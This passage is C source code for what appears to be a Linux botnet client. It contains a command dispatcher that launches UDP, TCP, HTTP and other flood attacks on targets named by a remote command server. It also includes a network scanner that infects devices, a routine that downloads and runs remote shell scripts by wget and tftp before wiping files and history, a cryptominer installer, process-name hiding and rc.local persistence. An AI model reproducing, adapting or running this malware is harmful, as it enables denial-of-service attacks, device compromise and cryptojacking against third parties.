  3005. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a9pre) Gecko/2007100205 Minefield/3.0a9pre",
  3006. "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9a4pre) Gecko/20070402 Minefield/3.0a4pre",
  3007. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041103 Firefox/1.0RC2",
  3008. "Mozilla/5.0 (Windows NT 6.1; rv:39.0) Gecko/20100101 Firefox/39.0",
  3009. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  3010. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0",
  3011. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101230 Mandriva Linux/1.9.2.13-0.2mdv2010.2 (2010.2) Firefox/3.6.13",
  3012. "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
  3013. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  3014. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  3015. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.27 Safari/536.11",
  3016. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; AskTbCFTP2V5/5.14.1.20007)",
  3017. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  3018. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0",
  3019. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 OPR/36.0.2130.3",
  3020. "Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SCH-I535 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile",
  3021. "Mozilla/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E234 Safari/601.1",
  3022. "Mozilla/5.0 (Linux; Android 5.1; XT1032 Build/LPB23.13-58) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile",
  3023. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.3",
  3024. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1; 360Spider(compatible; Ha",
  3025. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60",
  3026. "Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  3027. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/536.8+ (KHTML, like Gecko) Version/5.1.5 Safari/534.55.3",
  3028. "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25",
  3029. "Mozilla/5.0 (compatible; Ezooms/1.0; ezooms.bot@gmail.com)",
  3030. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  3031. "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)",
  3032. "Mozilla/5.0 (Admin Catalog; Windows NT 5.1; infobot.4942@yahoo.com)",
  3033. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  3034. "HuaweiSymantecSpider/1.0+DSE-support@huaweisymantec.com+(compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR ; http://www.huaweisymantec.com/en/IRL/spider)",
  3035. "Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620",
  3036. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  3037. "Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; 1 subscribers; feed-id=9422214874901413839)",
  3038. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  3039. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Firefox/24.0",
  3040. "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 (compatible; bingbot/2.0; http://www.bing.com/bingbot.htm)",
  3041. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  3042. "Mozilla/5.0 (iPad; U; CPU OS 5_1 like Mac OS X) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10 UCBrowser/3.4.3.532",
  3043. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
  3044. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1a2pre) Gecko/2008073000 Shredder/3.0a2pre ThunderBrowse/3.2.1.8",
  3045. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.10) Gecko/20050716 Thunderbird/1.0.6",
  3046. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7pre) Gecko/20100925 Firefox/4.0b7pre",
  3047. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b5pre) Gecko/2008032619 Linpus/3.0-0.49.3.0b5pre.lp Minefield/3.0b5pre",
  3048. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.3a1pre) Gecko/20100128 Minefield/3.7a1pre",
  3049. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a9pre) Gecko/2007100205 Minefield/3.0a9pre",
  3050. "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9a4pre) Gecko/20070402 Minefield/3.0a4pre",
  3051. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041103 Firefox/1.0RC2",
  3052. "Mozilla/5.0 (Windows NT 6.1; rv:39.0) Gecko/20100101 Firefox/39.0",
  3053. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  3054. "Mozilla/5.0 (PlayStation 4 1.52) AppleWebKit/536.26 (KHTML, like Gecko)",
  3055. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0",
  3056. "Mozilla/5.0 (Linux; Android 4.2.2; AFTB Build/JDQ39) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.173 Mobile Safari/537.22",
  3057. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101230 Mandriva Linux/1.9.2.13-0.2mdv2010.2 (2010.2) Firefox/3.6.13",
  3058. "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
  3059. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  3060. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  3061. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.27 Safari/536.11",
  3062. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; AskTbCFTP2V5/5.14.1.20007)",
  3063. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  3064. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0",
  3065. "Mozilla/5.0 (PLAYSTATION 3 4.66) AppleWebKit/531.22.8 (KHTML, like Gecko)",
  3066. "Wget/1.12 (linux-gnu)",
  3067. "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
  3068. "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
  3069. "Mozilla/5.0 (Nintendo WiiU) AppleWebKit/536.30 (KHTML, like Gecko) NX/3.0.4.2.12 NintendoBrowser/4.3.1.11264.US",
  3070. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 OPR/36.0.2130.3",
  3071. "Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SCH-I535 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile",
  3072. "Mozilla/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E234 Safari/601.1",
  3073. "Mozilla/5.0 (Linux; Android 5.1; XT1032 Build/LPB23.13-58) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile",
  3074. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.3",
  3075. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1; 360Spider(compatible; Ha",
  3076. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60",
  3077. "Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  3078. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/536.8+ (KHTML, like Gecko) Version/5.1.5 Safari/534.55.3",
  3079. "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25",
  3080. "Mozilla/5.0 (compatible; Ezooms/1.0; ezooms.bot@gmail.com)",
  3081. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  3082. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  3083. "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)",
  3084. "Mozilla/5.0 (Admin Catalog; Windows NT 5.1; infobot.4942@yahoo.com)",
  3085. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  3086. "HuaweiSymantecSpider/1.0+DSE-support@huaweisymantec.com+(compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR ; http://www.huaweisymantec.com/en/IRL/spider)",
  3087. "Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620",
  3088. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  3089. "Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; 1 subscribers; feed-id=9422214874901413839)",
  3090. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  3091. };
  3092.  
  3093. const char *connections[] = {"close", "keep-alive", "accept"};
  3094.  
  3095. int i, timeEnd = time(NULL) + timeFoo;
  3096. char request[512];
  3097.  
  3098. sprintf(request, "%s %s HTTP/1.1\r\nConnection: %s\r\nAccept: */*\r\nUser-Agent: %s\r\n", method, path, connections[(rand() % 30)], useragents[(rand() % 674)]);
  3099.  
  3100. for (i = 0; i < power; i++) {
  3101. if (fork()) {
  3102. while (timeEnd > time(NULL)) {
  3103. int socket = socket_connect((char *)host, port);
  3104. if (socket != 0) {
  3105. write(socket, request, strlen(request)); // Won't send out agents correctly will be fixed later ; note to self
  3106. close(socket);
  3107. }
  3108. }
  3109. _exit(1);
  3110. }
  3111. }
  3112. }
  3113.  
  3114.  
  3115. void sendCNC(unsigned char *ip,int port, int end_time)
  3116. {
  3117. int end = time(NULL) + end_time;
  3118. int sockfd;
  3119. struct sockaddr_in server;
  3120. //sockfd = socket(AF_INET, SOCK_STREAM, 0);
  3121.  
  3122. server.sin_addr.s_addr = inet_addr(ip);
  3123. server.sin_family = AF_INET;
  3124. server.sin_port = htons(port);
  3125.  
  3126. while(end > time(NULL))
  3127. {
  3128. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  3129. connect(sockfd , (struct sockaddr *)&server , sizeof(server));
  3130. sleep(1);
  3131. close(sockfd);
  3132. }
  3133.  
  3134. }
  3135.  
  3136. void UpdateBins()
  3137. {
  3138. int pid;
  3139.  
  3140. if ( (pid = fork()) == 0) {
  3141. system("cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var;rm -f *;wget http://0.0.0.0/shitty.sh; chmod 777 shitty.sh; sh shitty.sh; tftp 0.0.0.0 -c get shtftp1.sh; chmod 777 shtftp1.sh; sh shtftp1.sh; tftp -r shtftp2.sh -g 0.0.0.0; chmod 777 shtftp2.sh; sh shtftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf shitty.sh shtftp1.sh shtftp2.sh ftp1.sh; rm -rf *; history -c");
  3142. sleep(20); //sleeping for 20 dont wanna kill all your bots.
  3143. } else {
  3144. printf("%d\n", pid);
  3145. }
  3146.  
  3147. return;
  3148. }
  3149.  
  3150. void processCmd(int argc, unsigned char *argv[])
  3151. {
  3152.  
  3153.  
  3154. if(!strcmp(argv[0], "Mining")) //Thanks to Zero f Custom mining Script
  3155. {
  3156. if(!strcmp(argv[1], "INSTALL"))
  3157. {
  3158. system("add-apt-repository -y; ppa:ethereum/ethereum; apt-get instal ethminer -y");
  3159. ClearHistory();
  3160. sockprintf(mainCommSock, "Installing Zeros custom mining bot");
  3161. }
  3162. if(!strcmp(argv[1], "UPDATE"))
  3163. {
  3164. system("add-apt-repository -y; ppa:ethereum/ethereum; apt-get instal ethminer -y");
  3165. ClearHistory();
  3166. sockprintf(mainCommSock, "Updates Code For Custom Miner");
  3167. }
  3168. if(!strcmp(argv[1], "OFF"))
  3169. {
  3170. system("killall -9 ethminer;pkill ethminer");
  3171. ClearHistory();
  3172. sockprintf(mainCommSock, "Stops Custom Miner");
  3173. if(!strcmp(argv[1], "START"))
  3174. {
  3175. system("ethminer -C -F example.pool.com");
  3176. ClearHistory();
  3177. sockprintf(mainCommSock, "STARTING Zeros Custom Miner");
  3178. }
  3179. }
  3180.  
  3181. if(!strcmp(argv[0], "PING"))
  3182. {
  3183. sockprintf(mainCommSock, "PONG!");
  3184. return;
  3185. }
  3186.  
  3187. if(!strcmp(argv[0], "TABLE"))
  3188. {
  3189. sockprintf(mainCommSock, "%d", getdtablesize());
  3190. return;
  3191. }
  3192.  
  3193. if(!strcmp(argv[0], "UPDATE"))
  3194. {
  3195. sockprintf(mainCommSock, "UPDATE TAKEN SUCCESFULLY");
  3196. UpdateBins(1);
  3197. return;
  3198. }
  3199.  
  3200. if(!strcmp(argv[0], "SCANNER"))
  3201. {
  3202. if(!strcmp(argv[1], "OFF"))
  3203. {
  3204. if(scanPid == 0) return;
  3205. kill(scanPid, 9);
  3206. sockprintf(mainCommSock, "STOPPING SCANNER");
  3207. scanPid = 0;
  3208. }
  3209. if(!strcmp(argv[1], "ON"))
  3210. {
  3211. if(scanPid != 0) return;
  3212. uint32_t parent;
  3213. parent = fork();
  3214. int threads = 1000;//if you change this it adds more threads to the scanner but will also fuck your bots.
  3215. int timeout = 10;
  3216. if (parent > 0) { scanPid = parent; return;}
  3217. else if(parent == -1) return;
  3218. sockprintf(mainCommSock, "Infecting -> %s To Your Net", inet_ntoa(ourIP));
  3219. StartTheLelz(timeout, threads);
  3220. _exit(0);
  3221. }
  3222. }
  3223.  
  3224. if(!strcmp(argv[0], "REMOVER"))
  3225. {
  3226. if(!listFork())
  3227. {
  3228. sockprintf(mainCommSock, "COMMENCING BOT KILL ON -> %s", inet_ntoa(ourIP));
  3229. botkiller();
  3230. _exit(0);
  3231. }
  3232. }
  3233.  
  3234. if(!strcmp(argv[0], "GETPUBLICIP"))
  3235. {
  3236. sockprintf(mainCommSock, "My Public IP: %s", inet_ntoa(ourIP));
  3237. return;
  3238. }
  3239.  
  3240. if(!strcmp(argv[0], "HOLD"))
  3241. {
  3242. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  3243. {
  3244. return;
  3245. }
  3246. unsigned char *ip = argv[1];
  3247. int port = atoi(argv[2]);
  3248. int time = atoi(argv[3]);
  3249. if(strstr(ip, ",") != NULL)
  3250. {
  3251. unsigned char *hi = strtok(ip, ",");
  3252. while(hi != NULL)
  3253. {
  3254. if(!listFork())
  3255. {
  3256. sendHOLD(hi, port, time);
  3257. _exit(0);
  3258. }
  3259. hi = strtok(NULL, ",");
  3260. }
  3261. } else {
  3262. if (listFork()) { return; }
  3263. sendHOLD(ip, port, time);
  3264. _exit(0);
  3265. }
  3266. }
  3267. if(!strcmp(argv[0], "JUNK"))
  3268. {
  3269. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  3270. {
  3271. return;
  3272. }
  3273. unsigned char *ip = argv[1];
  3274. int port = atoi(argv[2]);
  3275. int time = atoi(argv[3]);
  3276. if(strstr(ip, ",") != NULL)
  3277. {
  3278. unsigned char *hi = strtok(ip, ",");
  3279. while(hi != NULL)
  3280. {
  3281. if(!listFork())
  3282. {
  3283. sendJUNK(hi, port, time);
  3284. close(mainCommSock);
  3285. _exit(0);
  3286. }
  3287. hi = strtok(NULL, ",");
  3288. }
  3289. } else {
  3290. if (listFork()) { return; }
  3291. sendJUNK(ip, port, time);
  3292. _exit(0);
  3293. }
  3294. }
  3295.  
  3296. if(!strcmp(argv[0], "UDP"))
  3297. {
  3298. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65536 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  3299. {
  3300. sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask> <packet size> <poll interval> <sleep check> <sleep time(ms)>");
  3301. return;
  3302. }
  3303.  
  3304. unsigned char *ip = argv[1];
  3305. int port = atoi(argv[2]);
  3306. int time = atoi(argv[3]);
  3307. int spoofed = atoi(argv[4]);
  3308. int packetsize = atoi(argv[5]);
  3309. int pollinterval = (argc > 6 ? atoi(argv[6]) : 1000);
  3310. int sleepcheck = (argc > 7 ? atoi(argv[7]) : 1000000);
  3311. int sleeptime = (argc > 8 ? atoi(argv[8]) : 0);
  3312.  
  3313. if(strstr(ip, ",") != NULL)
  3314. {
  3315. unsigned char *hi = strtok(ip, ",");
  3316. while(hi != NULL)
  3317. {
  3318. if(!listFork())
  3319. {
  3320. sendUDP(hi, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
  3321. _exit(0);
  3322. }
  3323. hi = strtok(NULL, ",");
  3324. }
  3325. } else {
  3326. if (!listFork()){
  3327. sendUDP(ip, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
  3328. _exit(0);
  3329. }
  3330. }
  3331. return;
  3332. }
  3333.  
  3334. if(!strcmp(argv[0], "TCP"))
  3335. {
  3336. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  3337. {
  3338. sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
  3339. return;
  3340. }
  3341.  
  3342. unsigned char *ip = argv[1];
  3343. int port = atoi(argv[2]);
  3344. int time = atoi(argv[3]);
  3345. int spoofed = atoi(argv[4]);
  3346. unsigned char *flags = argv[5];
  3347.  
  3348. int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  3349. int psize = argc > 6 ? atoi(argv[6]) : 0;
  3350.  
  3351. if(strstr(ip, ",") != NULL)
  3352. {
  3353. unsigned char *hi = strtok(ip, ",");
  3354. while(hi != NULL)
  3355. {
  3356. if(!listFork())
  3357. {
  3358. sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  3359. _exit(0);
  3360. }
  3361. hi = strtok(NULL, ",");
  3362. }
  3363. } else {
  3364. if (!listFork()) {
  3365. sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  3366. _exit(0);
  3367. }
  3368. }
  3369. }
  3370. if (!strcmp((const char *)argv[0], "HTTP")) {
  3371. if (argc < 6)
  3372. {
  3373. return;
  3374. }
  3375.  
  3376. if (strstr((const char *)argv[1], ",") != NULL) {
  3377. unsigned char *hi = (unsigned char *)strtok((char *)argv[1], ",");
  3378. while (hi != NULL) {
  3379. if (!listFork()) {
  3380. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  3381. _exit(0);
  3382. }
  3383. hi = (unsigned char *)strtok(NULL, ",");
  3384. }
  3385. } else {
  3386. if (listFork()) {
  3387. return;
  3388. }
  3389. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  3390. _exit(0);
  3391. }
  3392. }
  3393.  
  3394. if(!strcmp(argv[0], "CNC"))
  3395. {
  3396. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  3397. {
  3398. sockprintf(mainCommSock, "CNC <target> <port> <time>");
  3399. return;
  3400. }
  3401.  
  3402. unsigned char *ip = argv[1];
  3403. int port = atoi(argv[2]);
  3404. int time = atoi(argv[3]);
  3405.  
  3406. if(strstr(ip, ",") != NULL)
  3407. {
  3408. unsigned char *hi = strtok(ip, ",");
  3409. while(hi != NULL)
  3410. {
  3411. if(!listFork())
  3412. {
  3413. sendCNC(hi, port, time);
  3414. close(mainCommSock);
  3415. _exit(0);
  3416. }
  3417. hi = strtok(NULL, ",");
  3418. }
  3419. } else {
  3420. if (listFork()) { return; }
  3421.  
  3422. sendCNC(ip, port, time);
  3423. _exit(0);
  3424. }
  3425. }
  3426.  
  3427. if(!strcmp(argv[0], "STD"))
  3428. {
  3429. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  3430. {
  3431. sockprintf(mainCommSock, "STD <target> <port> <time>");
  3432. return;
  3433. }
  3434.  
  3435. unsigned char *ip = argv[1];
  3436. int port = atoi(argv[2]);
  3437. int time = atoi(argv[3]);
  3438.  
  3439. if(strstr(ip, ",") != NULL)
  3440. {
  3441. unsigned char *hi = strtok(ip, ",");
  3442. while(hi != NULL)
  3443. {
  3444. if(!listFork())
  3445. {
  3446. sendSTD(hi, port, time);
  3447. _exit(0);
  3448. }
  3449. hi = strtok(NULL, ",");
  3450. }
  3451. } else {
  3452. if (listFork()) { return; }
  3453.  
  3454. sendSTD(ip, port, time);
  3455. _exit(0);
  3456. }
  3457.  
  3458. }
  3459.  
  3460. if(!strcmp(argv[0], "KILLATTK"))
  3461. {
  3462. int killed = 0;
  3463. unsigned long i;
  3464. for (i = 0; i < numpids; i++) {
  3465. if (pids[i] != 0 && pids[i] != getpid()) {
  3466. kill(pids[i], 9);
  3467. killed++;
  3468. }
  3469. }
  3470.  
  3471. if(killed > 0)
  3472. {
  3473. sockprintf(mainCommSock, "Killed %d.", killed);
  3474. } else {
  3475. sockprintf(mainCommSock, "None Killed.");
  3476. }
  3477. }
  3478.  
  3479. if(!strcmp(argv[0], "LOLNOGTFO"))
  3480. {
  3481. exit(0);
  3482. }
  3483. }
  3484.  
  3485. int initConnection()
  3486. {
  3487. unsigned char server[4096];
  3488. memset(server, 0, 4096);
  3489. if(mainCommSock) { close(mainCommSock); mainCommSock = 0; }
  3490. if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  3491. else currentServer++;
  3492.  
  3493. strcpy(server, PromServer[currentServer]);
  3494. int port = 666;
  3495. if(strchr(server, ':') != NULL)
  3496. {
  3497. port = atoi(strchr(server, ':') + 1);
  3498. *((unsigned char *)(strchr(server, ':'))) = 0x0;
  3499. }
  3500.  
  3501. mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  3502.  
  3503. if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  3504.  
  3505. return 0;
  3506. }
  3507.  
  3508. int getOurIP()
  3509. {
  3510. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  3511. if(sock == -1) return 0;
  3512.  
  3513. struct sockaddr_in serv;
  3514. memset(&serv, 0, sizeof(serv));
  3515. serv.sin_family = AF_INET;
  3516. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  3517. serv.sin_port = htons(53);
  3518.  
  3519. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  3520. if(err == -1) return 0;
  3521.  
  3522. struct sockaddr_in name;
  3523. socklen_t namelen = sizeof(name);
  3524. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  3525. if(err == -1) return 0;
  3526.  
  3527. ourIP.s_addr = name.sin_addr.s_addr;
  3528.  
  3529. int cmdline = open("/proc/net/route", O_RDONLY);
  3530. char linebuf[4096];
  3531. while(fdgets(linebuf, 4096, cmdline) != NULL)
  3532. {
  3533. if(strstr(linebuf, "\t00000000\t") != NULL)
  3534. {
  3535. unsigned char *pos = linebuf;
  3536. while(*pos != '\t') pos++;
  3537. *pos = 0;
  3538. break;
  3539. }
  3540. memset(linebuf, 0, 4096);
  3541. }
  3542. close(cmdline);
  3543.  
  3544. if(*linebuf)
  3545. {
  3546. int i;
  3547. struct ifreq ifr;
  3548. strcpy(ifr.ifr_name, linebuf);
  3549. ioctl(sock, SIOCGIFHWADDR, &ifr);
  3550. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  3551. }
  3552.  
  3553. close(sock);
  3554. }
  3555.  
  3556. char *getBuild()
  3557. {
  3558. #ifdef MIPS_BUILD
  3559. return "MIPS";
  3560. #elif MIPSEL_BUILD
  3561. return "MIPSEL";
  3562. #elif X86_BUILD
  3563. return "X86";
  3564. #elif ARM_BUILD
  3565. return "ARM";
  3566. #elif PPC_BUILD
  3567. return "POWERPC";
  3568. #else
  3569. return "ICEBOTv1";
  3570. #endif
  3571. }
  3572.  
  3573. int main(int argc, unsigned char *argv[])
  3574. {
  3575. char *mynameis = "";
  3576. if(SERVER_LIST_SIZE <= 0) return 0;
  3577. strncpy(argv[0],"",strlen(argv[0]));
  3578. argv[0] = "";
  3579. prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  3580. srand(time(NULL) ^ getpid());
  3581. init_rand(time(NULL) ^ getpid());
  3582. pid_t pid1;
  3583. pid_t pid2;
  3584. int status;
  3585. int dupthing = 0;
  3586.  
  3587. char cwd[256],*str;
  3588. FILE *file;
  3589. str="/etc/rc.d/rc.local";
  3590. file=fopen(str,"r");
  3591. if (file == NULL) {
  3592. str="/etc/rc.conf";
  3593. file=fopen(str,"r");
  3594. }
  3595. if (file != NULL) {
  3596. char outfile[256], buf[1024];
  3597. int i=strlen(argv[0]), d=0;
  3598. getcwd(cwd,256);
  3599. if (strcmp(cwd,"/")) {
  3600. while(argv[0][i] != '/') i--;
  3601. sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
  3602. while(!feof(file)) {
  3603. fgets(buf,1024,file);
  3604. if (!strcasecmp(buf,outfile)) d++;
  3605. }
  3606. if (d == 0) {
  3607. FILE *out;
  3608. fclose(file);
  3609. out=fopen(str,"a");
  3610. if (out != NULL) {
  3611. fputs(outfile,out);
  3612. fclose(out);
  3613. }
  3614. }
  3615. else fclose(file);
  3616. }
  3617. else fclose(file);
  3618. }
  3619.  
  3620. getOurIP();
  3621.  
  3622. if (pid1 = fork()) {
  3623. waitpid(pid1, &status, 0);
  3624. exit(0);
  3625. } else if (!pid1) {
  3626. if (pid2 = fork()) {
  3627. exit(0);
  3628. } else if (!pid2) {
  3629. } else {
  3630. zprintf("fork failed\n");
  3631. }
  3632. } else {
